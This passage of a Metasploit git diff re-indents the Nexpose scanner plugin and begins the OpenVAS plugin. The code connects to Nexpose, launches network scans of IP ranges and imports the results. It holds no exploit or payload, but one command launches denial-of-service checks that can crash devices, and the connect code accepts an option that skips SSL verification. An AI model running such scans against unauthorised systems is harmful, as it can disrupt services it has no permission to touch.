IP Ranges>") - print_line(opts.usage) - return - when "-t" - opt_template = val - when "-n" - opt_maxaddrs = val.to_i - when "-s" - opt_savexml = val - when "-c" - if (val =~ /^([^:]+):([^:]+):(.+)/) - type, user, pass = [ $1, $2, $3 ] - newcreds = Nexpose::AdminCredentials.new - newcreds.setCredentials(type, nil, nil, user, pass, nil) - opt_credentials << newcreds - else - print_error("Unrecognized Nexpose scan credentials: #{val}") - return - end - when "-v" - opt_verbose = true - when "-P" - opt_preserve = true - when "-d" - opt_rescandb = true - when '-I' - opt_addrinc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) - when '-E' - opt_addrexc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) - else - opt_ranges << val - end - end - - return if not nexpose_verify - - # Include all database hosts as scan targets if specified - if(opt_rescandb) - print_status("Loading scan targets from the active database...") if opt_verbose - framework.db.hosts.each do |host| - next if host.state != ::Msf::HostState::Alive - opt_ranges << host.address - end - end - - possible_files = opt_ranges # don't allow DOS by circular reference - possible_files.each do |file| - if ::File.readable? file - print_status "Parsing ranges from #{file}" - range_list = ::File.open(file,"rb") {|f| f.read f.stat.size} - range_list.each_line { |subrange| opt_ranges << subrange} - opt_ranges.delete(file) - end - end - - opt_ranges = opt_ranges.join(' ') - - if(opt_ranges.strip.empty?) - print_line("Usage: nexpose_scan [options] <Target IP Ranges>") - print_line(opts.usage) - return - end - - if(opt_verbose) - print_status("Creating a new scan using template #{opt_template} and #{opt_maxaddrs} concurrent IPs against #{opt_ranges}") - end - - range_inp = ::Msf::OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(opt_ranges) - range = ::Rex::Socket::RangeWalker.new(range_inp) - include_range = opt_addrinc ? ::Rex::Socket::RangeWalker.new(opt_addrinc) : nil - exclude_range = opt_addrexc ? ::Rex::Socket::RangeWalker.new(opt_addrexc) : nil - - completed = 0 - total = range.num_ips - count = 0 - - print_status("Scanning #{total} addresses with template #{opt_template} in sets of #{opt_maxaddrs}") - - while(completed < total) - count += 1 - queue = [] - - while(ip = range.next_ip and queue.length < opt_maxaddrs) - - if(exclude_range and exclude_range.include?(ip)) - print_status(" >> Skipping host #{ip} due to exclusion") if opt_verbose - next - end - - if(include_range and ! include_range.include?(ip)) - print_status(" >> Skipping host #{ip} due to inclusion filter") if opt_verbose - next - end - - opt_scanned << ip - queue << ip - end - - break if queue.empty? - print_status("Scanning #{queue[0]}-#{queue[-1]}...") if opt_verbose - - msfid = Time.now.to_i - - # Create a temporary site - site = Nexpose::Site.new(@nsc) - site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework") - queue.each do |ip| - site.site_config.addHost(Nexpose::IPRange.new(ip)) - end - site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) - opt_credentials.each do |c| - site.site_config.addCredentials(c) - end - site.saveSite() - - print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose - - report_formats = ["raw-xml-v2", "ns-xml"] - report_format = report_formats.shift - - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id(opt_template) - - report.addFilter("SiteFilter", site.site_id) - report.set_generate_after_scan(1) - report.set_storeOnServer(1) - - begin - report.set_format(report_format) - report.saveReport() - rescue ::Exception => e - report_format = report_formats.shift - if report_format - retry - end - raise e - end - - print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose - - # Run the scan - res = site.scanSite() - sid = res[:scan_id] - - print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose - - rep = true - begin - prev = nil - while(true) - info = @nsc.scan_statistics(sid) - break if info[:summary]['status'] != "running" - stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive" - if(stat != prev) - print_status(" >> #{stat}") if opt_verbose - end - prev = stat - select(nil, nil, nil, 5.0) - end - print_status(" >> Scan has been completed with ID ##{sid}") if opt_verbose - rescue ::Interrupt - rep = false - print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose - @nsc.scan_stop(sid) - break - end - - # Wait for the automatic report generation to complete - if(rep) - print_status(" >> Waiting on the report to generate...") if opt_verbose - url = nil - while(! url) - url = @nsc.report_last(report.config_id) - select(nil, nil, nil, 1.0) - end - - print_status(" >> Downloading the report data from Nexpose...") if opt_verbose - data = @nsc.download(url) - - if(opt_savexml) - ::FileUtils.mkdir_p(opt_savexml) - path = ::File.join(opt_savexml, "nexpose-#{msfid}-#{count}.xml") - print_status(" >> Saving scan data into #{path}") if opt_verbose - ::File.open(path, "wb") { |fd| fd.write(data) } - end - - process_nexpose_data(report_format, data) - end - - if ! opt_preserve - print_status(" >> Deleting the temporary site and report...") if opt_verbose - @nsc.site_delete(site.site_id) - end - end - - print_status("Completed the scan of #{total} addresses") - end - - def cmd_nexpose_disconnect(*args) - @nsc.logout if @nsc - @nsc = nil - end - - def process_nexpose_data(fmt, data) - case fmt - when 'raw-xml-v2' - framework.db.import({:data => data}) - when 'ns-xml' - framework.db.import({:data => data}) - else - print_error("Unsupported Nexpose data format: #{fmt}") - end - end - - # - # Nexpose vuln lookup - # - def nexpose_vuln_lookup(doc, vid, refs, host, serv=nil) - doc.elements.each("/NexposeReport/VulnerabilityDefinitions/vulnerability[@id = '#{vid}']]") do |vulndef| - - title = vulndef.attributes['title'] - pciSeverity = vulndef.attributes['pciSeverity'] - cvss_score = vulndef.attributes['cvssScore'] - cvss_vector = vulndef.attributes['cvssVector'] - - vulndef.elements['references'].elements.each('reference') do |ref| - if ref.attributes['source'] == 'BID' - refs[ 'BID-' + ref.text ] = true - elsif ref.attributes['source'] == 'CVE' - # ref.text is CVE-$ID - refs[ ref.text ] = true - elsif ref.attributes['source'] == 'MS' - refs[ 'MSB-MS-' + ref.text ] = true - end - end - - refs[ 'NEXPOSE-' + vid.downcase ] = true - - vuln = framework.db.find_or_create_vuln( - :host => host, - :service => serv, - :name => 'NEXPOSE-' + vid.downcase, - :data => title) - - rids = [] - refs.keys.each do |r| - rids << framework.db.find_or_create_ref(:name => r) - end - - vuln.refs << (rids - vuln.refs) - end - end - - end - - # - # Plugin initialization - # - - def initialize(framework, opts) - super - - add_console_dispatcher(NexposeCommandDispatcher) - banner = ["0a205f5f5f5f202020202020202020202020205f20202020205f205f5f5f5f5f2020205f2020205f20202020205f5f20205f5f2020202020202020202020202020202020202020200a7c20205f205c205f5f205f205f205f5f20285f29205f5f7c207c5f5f5f20207c207c205c207c207c205f5f5f5c205c2f202f5f205f5f2020205f5f5f20205f5f5f20205f5f5f200a7c207c5f29202f205f60207c20275f205c7c207c2f205f60207c20202f202f20207c20205c7c207c2f205f205c5c20202f7c20275f205c202f205f205c2f205f5f7c2f205f205c0a7c20205f203c20285f7c207c207c5f29207c207c20285f7c207c202f202f2020207c207c5c20207c20205f5f2f2f20205c7c207c5f29207c20285f29205c5f5f205c20205f5f2f0a7c5f7c205c5f5c5f5f2c5f7c202e5f5f2f7c5f7c5c5f5f2c5f7c2f5f2f202020207c5f7c205c5f7c5c5f5f5f2f5f2f5c5f5c202e5f5f2f205c5f5f5f2f7c5f5f5f2f5c5f5f5f7c0a20202020202020202020207c5f7c20202020202020202020202020202020202020202020202020202020202020202020207c5f7c202020202020202020202020202020202020200a0a0a"].pack("H*") - - # Do not use this UTF-8 encoded high-ascii art for non-UTF-8 or windows consoles - lang = Rex::Compat.getenv("LANG") - if (lang and lang =~ /UTF-8/) - # Cygwin/Windows should not be reporting UTF-8 either... - # (! (Rex::Compat.is_windows or Rex::Compat.is_cygwin)) - banner = ["202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29684e29684e29684202020e29684e29684202020202020202020202020e29684e29684e296842020e29684e29684e2968420202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29688202020e29688e2968820202020202020202020202020e29688e2968820e29684e29688e296882020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29680e296882020e29688e29688202020e29684e29688e29688e29688e29688e296842020202020e29688e29688e29688e2968820202020e29688e29688e29684e29688e29688e29688e2968420202020e29684e29688e29688e29688e29688e29684202020e29684e29684e29688e29688e29688e29688e29688e29684202020e29684e29688e29688e29688e29688e2968420200a20e29688e2968820e29688e2968820e29688e296882020e29688e29688e29684e29684e29684e29684e29688e296882020202020e29688e296882020202020e29688e29688e296802020e29680e29688e296882020e29688e29688e296802020e29680e29688e296882020e29688e29688e29684e29684e29684e2968420e296802020e29688e29688e29684e29684e29684e29684e29688e29688200a20e29688e296882020e29688e29684e29688e296882020e29688e29688e29680e29680e29680e29680e29680e2968020202020e29688e29688e29688e2968820202020e29688e2968820202020e29688e296882020e29688e2968820202020e29688e29688202020e29680e29680e29680e29680e29688e29688e296842020e29688e29688e29680e29680e29680e29680e29680e29680200a20e29688e29688202020e29688e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688202020e29688e296882020e29688e29688202020e29688e29688e29688e29684e29684e29688e29688e296802020e29680e29688e29688e29684e29684e29688e29688e296802020e29688e29684e29684e29684e29684e29684e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688200a20e29680e29680202020e29680e29680e2968020202020e29680e29680e29680e29680e29680202020e29680e29680e296802020e29680e29680e296802020e29688e2968820e29680e29680e29680202020202020e29680e29680e29680e296802020202020e29680e29680e29680e29680e29680e296802020202020e29680e29680e29680e29680e2968020200a20202020202020202020202020202020202020202020202020202020202020e29688e29688202020202020202020202020202020202020202020202020202020202020202020202020200a202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a"].pack("H*") - end - print(banner) - print_status("Nexpose integration has been activated") - end - - def cleanup - remove_console_dispatcher('Nexpose') - end - - def name - "nexpose" - end - - def desc - "Integrates with the Rapid7 Nexpose vulnerability management product" - end + class NexposeCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "Nexpose" + end + + def commands + { + 'nexpose_connect' => "Connect to a running Nexpose instance ( user:pass@host[:port] )", + 'nexpose_save' => "Save credentials to a Nexpose instance", + 'nexpose_activity' => "Display any active scan jobs on the Nexpose instance", + + 'nexpose_scan' => "Launch a Nexpose scan against a specific IP range and import the results", + 'nexpose_discover' => "Launch a scan but only perform host and minimal service discovery", + 'nexpose_exhaustive' => "Launch a scan covering all TCP ports and all authorized safe checks", + 'nexpose_dos' => "Launch a scan that includes checks that can crash services and devices (caution)", + + 'nexpose_disconnect' => "Disconnect from an active Nexpose instance", + + 'nexpose_sites' => "List all defined sites", + 'nexpose_site_devices' => "List all discovered devices within a site", + 'nexpose_site_import' => "Import data from the specified site ID", + 'nexpose_report_templates' => "List all available report templates", + 'nexpose_command' => "Execute a console command on the Nexpose instance", + 'nexpose_sysinfo' => "Display detailed system information about the Nexpose instance", + + # TODO: + # nexpose_stop_scan + } + end + + def nexpose_verify_db + if ! (framework.db and framework.db.usable and framework.db.active) + print_error("No database has been configured, please use db_create/db_connect first") + return false + end + + true + end + + def nexpose_verify + return false if not nexpose_verify_db + + if ! @nsc + print_error("No active Nexpose instance has been configured, please use 'nexpose_connect'") + return false + end + + true + end + + def cmd_nexpose_save(*args) + #if we are logged in, save session details to nexpose.yaml + if args[0] == "-h" + print_status("Usage: ") + print_status(" nexpose_save") + return + end + + if args[0] + print_status("Usage: ") + print_status(" nexpose_save") + return + end + + group = "default" + + if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + ::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) } + print_good("#{Nexpose_yaml} created.") + else + print_error("Missing username/password/server/port - relogin and then try again.") + return + end + end + + def cmd_nexpose_connect(*args) + return if not nexpose_verify_db + + if ! args[0] + if ::File.readable?("#{Nexpose_yaml}") + lconfig = YAML.load_file("#{Nexpose_yaml}") + @user = lconfig['default']['username'] + @pass = lconfig['default']['password'] + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... + nexpose_login + return + end + end + + if(args.length == 0 or args[0].empty? or args[0] == "-h") + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port <ssl-confirm>") + return + end + + @user = @pass = @host = @port = @sslv = nil + + case args.length + when 1,2 + cred,targ = args[0].split('@', 2) + @user,@pass = cred.split(':', 2) + targ ||= '127.0.0.1:3780' + @host,@port = targ.split(':', 2) + port ||= '3780' + @sslv = args[1] + when 4,5 + @user,@pass,@host,@port,@sslv = args + else + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port <ssl-confirm>") + return + end + nexpose_login + end + + def nexpose_login + + if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] <ssl-confirm>") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port <ssl-confirm>") + return + end + + if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose") + print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") + print_error(" as an additional parameter to this command.") + return + end + + # Wrap this so a duplicate session doesnt prevent a new login + begin + cmd_nexpose_disconnect + rescue ::Interrupt + raise $! + rescue ::Exception + end + + begin + print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") + nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port) + nsc.login + rescue ::Nexpose::APIError => e + print_error("Connection failed: #{e.reason}") + return + end + + @nsc = nsc + nexpose_compatibility_check + nsc + end + + def cmd_nexpose_activity(*args) + return if not nexpose_verify + + scans = @nsc.scan_activity || [] + case scans.length + when 0 + print_status("There are currently no active scan jobs on this Nexpose instance") + when 1 + print_status("There is 1 active scan job on this Nexpose instance") + else + print_status("There are currently #{scans.length} active scan jobs on this Nexpose instance") + end + + scans.each do |scan| + print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}") + end + end + + def cmd_nexpose_sites(*args) + return if not nexpose_verify + + sites = @nsc.site_listing || [] + case sites.length + when 0 + print_status("There are currently no active sites on this Nexpose instance") + end + + sites.each do |site| + print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}") + end + end + + def cmd_nexpose_site_devices(*args) + return if not nexpose_verify + + site_id = args.shift + if not site_id + print_error("No site ID was specified") + return + end + + devices = @nsc.site_device_listing(site_id) || [] + case devices.length + when 0 + print_status("There are currently no devices within this site") + end + + devices.each do |device| + print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}") + end + end + + def cmd_nexpose_report_templates(*args) + return if not nexpose_verify + + res = @nsc.report_template_listing || [] + + res.each do |report| + print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}") + end + end + + def cmd_nexpose_command(*args) + return if not nexpose_verify + + if args.length == 0 + print_error("No command was specified") + return + end + + res = @nsc.console_command(args.join(" ")) || "" + + print_status("Command Output") + print_line(res) + print_line("") + + end + + def cmd_nexpose_sysinfo(*args) + return if not nexpose_verify + + res = @nsc.system_information + + print_status("System Information") + res.each_pair do |k,v| + print_status(" #{k}: #{v}") + end + end + + def nexpose_compatibility_check + res = @nsc.console_command("ver") + if res !~ /^(NSC|Console) Version ID:\s*4[89]0\s*$/m + print_error("") + print_error("Warning: This version of Nexpose has not been tested with Metasploit!") + print_error("") + end + end + + def cmd_nexpose_site_import(*args) + site_id = args.shift + if not site_id + print_error("No site ID was specified") + return + end + + msfid = Time.now.to_i + + report_formats = ["raw-xml-v2", "ns-xml"] + report_format = report_formats.shift + + report = Nexpose::ReportConfig.new(@nsc) + report.set_name("Metasploit Export #{msfid}") + report.set_template_id("pentest-audit") + + report.addFilter("SiteFilter", site_id) + report.set_generate_after_scan(0) + report.set_storeOnServer(1) + + begin + report.set_format(report_format) + report.saveReport() + rescue ::Exception => e + report_format = report_formats.shift + if report_format + retry + end + raise e + end + + print_status("Generating the export data file...") + url = nil + while(! url) + url = @nsc.report_last(report.config_id) + select(nil, nil, nil, 1.0) + end + + print_status("Downloading the export data...") + data = @nsc.download(url) + + # Delete the temporary report ID + @nsc.report_config_delete(report.config_id) + + print_status("Importing Nexpose data...") + process_nexpose_data(report_format, data) + + end + + def cmd_nexpose_discover(*args) + args << "-h" if args.length == 0 + args << "-t" + args << "aggressive-discovery" + cmd_nexpose_scan(*args) + end + + def cmd_nexpose_exhaustive(*args) + args << "-h" if args.length == 0 + args << "-t" + args << "exhaustive-audit" + cmd_nexpose_scan(*args) + end + + def cmd_nexpose_dos(*args) + args << "-h" if args.length == 0 + args << "-t" + args << "dos-audit" + cmd_nexpose_scan(*args) + end + + def cmd_nexpose_scan(*args) + + opts = Rex::Parser::Arguments.new( + "-h" => [ false, "This help menu"], + "-t" => [ true, "The scan template to use (default:pentest-audit options:full-audit,exhaustive-audit,discovery,aggressive-discovery,dos-audit)"], + "-c" => [ true, "Specify credentials to use against these targets (format is type:user:pass"], + "-n" => [ true, "The maximum number of IPs to scan at a time (default is 32)"], + "-s" => [ true, "The directory to store the raw XML files from the Nexpose instance (optional)"], + "-P" => [ false, "Leave the scan data on the server when it completes (this counts against the maximum licensed IPs)"], + "-v" => [ false, "Display diagnostic information about the scanning process"], + "-d" => [ false, "Scan hosts based on the contents of the existing database"], + "-I" => [ true, "Only scan systems with an address within the specified range"], + "-E" => [ true, "Exclude hosts in the specified range from the scan"] + ) + + opt_template = "pentest-audit" + opt_maxaddrs = 32 + opt_monitor = false + opt_verbose = false + opt_savexml = nil + opt_preserve = false + opt_rescandb = false + opt_addrinc = nil + opt_addrexc = nil + opt_scanned = [] + opt_credentials = [] + + opt_ranges = [] + + + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print_line("Usage: nexpose_scan [options] <Target IP Ranges>") + print_line(opts.usage) + return + when "-t" + opt_template = val + when "-n" + opt_maxaddrs = val.to_i + when "-s" + opt_savexml = val + when "-c" + if (val =~ /^([^:]+):([^:]+):(.+)/) + type, user, pass = [ $1, $2, $3 ] + newcreds = Nexpose::AdminCredentials.new + newcreds.setCredentials(type, nil, nil, user, pass, nil) + opt_credentials << newcreds + else + print_error("Unrecognized Nexpose scan credentials: #{val}") + return + end + when "-v" + opt_verbose = true + when "-P" + opt_preserve = true + when "-d" + opt_rescandb = true + when '-I' + opt_addrinc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) + when '-E' + opt_addrexc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) + else + opt_ranges << val + end + end + + return if not nexpose_verify + + # Include all database hosts as scan targets if specified + if(opt_rescandb) + print_status("Loading scan targets from the active database...") if opt_verbose + framework.db.hosts.each do |host| + next if host.state != ::Msf::HostState::Alive + opt_ranges << host.address + end + end + + possible_files = opt_ranges # don't allow DOS by circular reference + possible_files.each do |file| + if ::File.readable? file + print_status "Parsing ranges from #{file}" + range_list = ::File.open(file,"rb") {|f| f.read f.stat.size} + range_list.each_line { |subrange| opt_ranges << subrange} + opt_ranges.delete(file) + end + end + + opt_ranges = opt_ranges.join(' ') + + if(opt_ranges.strip.empty?) + print_line("Usage: nexpose_scan [options] <Target IP Ranges>") + print_line(opts.usage) + return + end + + if(opt_verbose) + print_status("Creating a new scan using template #{opt_template} and #{opt_maxaddrs} concurrent IPs against #{opt_ranges}") + end + + range_inp = ::Msf::OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(opt_ranges) + range = ::Rex::Socket::RangeWalker.new(range_inp) + include_range = opt_addrinc ? ::Rex::Socket::RangeWalker.new(opt_addrinc) : nil + exclude_range = opt_addrexc ? ::Rex::Socket::RangeWalker.new(opt_addrexc) : nil + + completed = 0 + total = range.num_ips + count = 0 + + print_status("Scanning #{total} addresses with template #{opt_template} in sets of #{opt_maxaddrs}") + + while(completed < total) + count += 1 + queue = [] + + while(ip = range.next_ip and queue.length < opt_maxaddrs) + + if(exclude_range and exclude_range.include?(ip)) + print_status(" >> Skipping host #{ip} due to exclusion") if opt_verbose + next + end + + if(include_range and ! include_range.include?(ip)) + print_status(" >> Skipping host #{ip} due to inclusion filter") if opt_verbose + next + end + + opt_scanned << ip + queue << ip + end + + break if queue.empty? + print_status("Scanning #{queue[0]}-#{queue[-1]}...") if opt_verbose + + msfid = Time.now.to_i + + # Create a temporary site + site = Nexpose::Site.new(@nsc) + site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework") + queue.each do |ip| + site.site_config.addHost(Nexpose::IPRange.new(ip)) + end + site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) + opt_credentials.each do |c| + site.site_config.addCredentials(c) + end + site.saveSite() + + print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose + + report_formats = ["raw-xml-v2", "ns-xml"] + report_format = report_formats.shift + + report = Nexpose::ReportConfig.new(@nsc) + report.set_name("Metasploit Export #{msfid}") + report.set_template_id(opt_template) + + report.addFilter("SiteFilter", site.site_id) + report.set_generate_after_scan(1) + report.set_storeOnServer(1) + + begin + report.set_format(report_format) + report.saveReport() + rescue ::Exception => e + report_format = report_formats.shift + if report_format + retry + end + raise e + end + + print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose + + # Run the scan + res = site.scanSite() + sid = res[:scan_id] + + print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose + + rep = true + begin + prev = nil + while(true) + info = @nsc.scan_statistics(sid) + break if info[:summary]['status'] != "running" + stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive" + if(stat != prev) + print_status(" >> #{stat}") if opt_verbose + end + prev = stat + select(nil, nil, nil, 5.0) + end + print_status(" >> Scan has been completed with ID ##{sid}") if opt_verbose + rescue ::Interrupt + rep = false + print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose + @nsc.scan_stop(sid) + break + end + + # Wait for the automatic report generation to complete + if(rep) + print_status(" >> Waiting on the report to generate...") if opt_verbose + url = nil + while(! url) + url = @nsc.report_last(report.config_id) + select(nil, nil, nil, 1.0) + end + + print_status(" >> Downloading the report data from Nexpose...") if opt_verbose + data = @nsc.download(url) + + if(opt_savexml) + ::FileUtils.mkdir_p(opt_savexml) + path = ::File.join(opt_savexml, "nexpose-#{msfid}-#{count}.xml") + print_status(" >> Saving scan data into #{path}") if opt_verbose + ::File.open(path, "wb") { |fd| fd.write(data) } + end + + process_nexpose_data(report_format, data) + end + + if ! opt_preserve + print_status(" >> Deleting the temporary site and report...") if opt_verbose + @nsc.site_delete(site.site_id) + end + end + + print_status("Completed the scan of #{total} addresses") + end + + def cmd_nexpose_disconnect(*args) + @nsc.logout if @nsc + @nsc = nil + end + + def process_nexpose_data(fmt, data) + case fmt + when 'raw-xml-v2' + framework.db.import({:data => data}) + when 'ns-xml' + framework.db.import({:data => data}) + else + print_error("Unsupported Nexpose data format: #{fmt}") + end + end + + # + # Nexpose vuln lookup + # + def nexpose_vuln_lookup(doc, vid, refs, host, serv=nil) + doc.elements.each("/NexposeReport/VulnerabilityDefinitions/vulnerability[@id = '#{vid}']]") do |vulndef| + + title = vulndef.attributes['title'] + pciSeverity = vulndef.attributes['pciSeverity'] + cvss_score = vulndef.attributes['cvssScore'] + cvss_vector = vulndef.attributes['cvssVector'] + + vulndef.elements['references'].elements.each('reference') do |ref| + if ref.attributes['source'] == 'BID' + refs[ 'BID-' + ref.text ] = true + elsif ref.attributes['source'] == 'CVE' + # ref.text is CVE-$ID + refs[ ref.text ] = true + elsif ref.attributes['source'] == 'MS' + refs[ 'MSB-MS-' + ref.text ] = true + end + end + + refs[ 'NEXPOSE-' + vid.downcase ] = true + + vuln = framework.db.find_or_create_vuln( + :host => host, + :service => serv, + :name => 'NEXPOSE-' + vid.downcase, + :data => title) + + rids = [] + refs.keys.each do |r| + rids << framework.db.find_or_create_ref(:name => r) + end + + vuln.refs << (rids - vuln.refs) + end + end + + end + + # + # Plugin initialization + # + + def initialize(framework, opts) + super + + add_console_dispatcher(NexposeCommandDispatcher) + banner = ["0a205f5f5f5f202020202020202020202020205f20202020205f205f5f5f5f5f2020205f2020205f20202020205f5f20205f5f2020202020202020202020202020202020202020200a7c20205f205c205f5f205f205f205f5f20285f29205f5f7c207c5f5f5f20207c207c205c207c207c205f5f5f5c205c2f202f5f205f5f2020205f5f5f20205f5f5f20205f5f5f200a7c207c5f29202f205f60207c20275f205c7c207c2f205f60207c20202f202f20207c20205c7c207c2f205f205c5c20202f7c20275f205c202f205f205c2f205f5f7c2f205f205c0a7c20205f203c20285f7c207c207c5f29207c207c20285f7c207c202f202f2020207c207c5c20207c20205f5f2f2f20205c7c207c5f29207c20285f29205c5f5f205c20205f5f2f0a7c5f7c205c5f5c5f5f2c5f7c202e5f5f2f7c5f7c5c5f5f2c5f7c2f5f2f202020207c5f7c205c5f7c5c5f5f5f2f5f2f5c5f5c202e5f5f2f205c5f5f5f2f7c5f5f5f2f5c5f5f5f7c0a20202020202020202020207c5f7c20202020202020202020202020202020202020202020202020202020202020202020207c5f7c202020202020202020202020202020202020200a0a0a"].pack("H*") + + # Do not use this UTF-8 encoded high-ascii art for non-UTF-8 or windows consoles + lang = Rex::Compat.getenv("LANG") + if (lang and lang =~ /UTF-8/) + # Cygwin/Windows should not be reporting UTF-8 either... + # (! (Rex::Compat.is_windows or Rex::Compat.is_cygwin)) + banner = ["202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29684e29684e29684202020e29684e29684202020202020202020202020e29684e29684e296842020e29684e29684e2968420202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29688202020e29688e2968820202020202020202020202020e29688e2968820e29684e29688e296882020202020202020202020202020202020202020202020202020202020202020202020202020202020200a20e29688e29688e29680e296882020e29688e29688202020e29684e29688e29688e29688e29688e296842020202020e29688e29688e29688e2968820202020e29688e29688e29684e29688e29688e29688e2968420202020e29684e29688e29688e29688e29688e29684202020e29684e29684e29688e29688e29688e29688e29688e29684202020e29684e29688e29688e29688e29688e2968420200a20e29688e2968820e29688e2968820e29688e296882020e29688e29688e29684e29684e29684e29684e29688e296882020202020e29688e296882020202020e29688e29688e296802020e29680e29688e296882020e29688e29688e296802020e29680e29688e296882020e29688e29688e29684e29684e29684e2968420e296802020e29688e29688e29684e29684e29684e29684e29688e29688200a20e29688e296882020e29688e29684e29688e296882020e29688e29688e29680e29680e29680e29680e29680e2968020202020e29688e29688e29688e2968820202020e29688e2968820202020e29688e296882020e29688e2968820202020e29688e29688202020e29680e29680e29680e29680e29688e29688e296842020e29688e29688e29680e29680e29680e29680e29680e29680200a20e29688e29688202020e29688e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688202020e29688e296882020e29688e29688202020e29688e29688e29688e29684e29684e29688e29688e296802020e29680e29688e29688e29684e29684e29688e29688e296802020e29688e29684e29684e29684e29684e29684e29688e296882020e29680e29688e29688e29684e29684e29684e29684e29688200a20e29680e29680202020e29680e29680e2968020202020e29680e29680e29680e29680e29680202020e29680e29680e296802020e29680e29680e296802020e29688e2968820e29680e29680e29680202020202020e29680e29680e29680e296802020202020e29680e29680e29680e29680e29680e296802020202020e29680e29680e29680e29680e2968020200a20202020202020202020202020202020202020202020202020202020202020e29688e29688202020202020202020202020202020202020202020202020202020202020202020202020200a202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200a"].pack("H*") + end + print(banner) + print_status("Nexpose integration has been activated") + end + + def cleanup + remove_console_dispatcher('Nexpose') + end + + def name + "nexpose" + end + + def desc + "Integrates with the Rapid7 Nexpose vulnerability management product" + end end end diff --git a/plugins/openvas.rb b/plugins/openvas.rb index 34d8140552..91689190ab 100644 --- a/plugins/openvas.rb +++ b/plugins/openvas.rb @@ -14,555 +14,555 @@ require 'openvas/openvas-omp' module Msf class Plugin::OpenVAS < Msf::Plugin - class OpenVASCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "OpenVAS" - end - - def commands - { - 'openvas_help' => "Displays help", - 'openvas_version' => "Display the version of the OpenVAS server", - 'openvas_debug' => "Enable/Disable debugging", - 'openvas_connect' => "Connect to an OpenVAS manager using OMP", - 'openvas_disconnect' => "Disconnect from OpenVAS manager", - - 'openvas_task_create' => "Create a task (name, comment, target, config)", - 'openvas_task_delete' => "Delete task by ID", - 'openvas_task_list' => "Display list of tasks", - 'openvas_task_start' => "Start task by ID", - 'openvas_task_stop' => "Stop task by ID", - 'openvas_task_pause' => "Pause task by ID", - 'openvas_task_resume' => "Resume task by ID", - 'openvas_task_resume_or_start' => "Resume task or start task by ID", - - 'openvas_target_create' => "Create target (name, hosts, comment)", - 'openvas_target_delete' => "Delete target by ID", - 'openvas_target_list' => "Display list of targets", - - 'openvas_config_list' => "Quickly display list of configs", - - 'openvas_format_list' => "Display list of available report formats", - - 'openvas_report_list' => "Display a list of available report formats", - 'openvas_report_delete' => "Delete a report specified by ID", - 'openvas_report_download' => "Save a report to disk", - 'openvas_report_import' => "Import report specified by ID into framework", - } - end - - def cmd_openvas_help() - print_status("openvas_help Display this help") - print_status("openvas_debug Enable/Disable debugging") - print_status("openvas_version Display the version of the OpenVAS 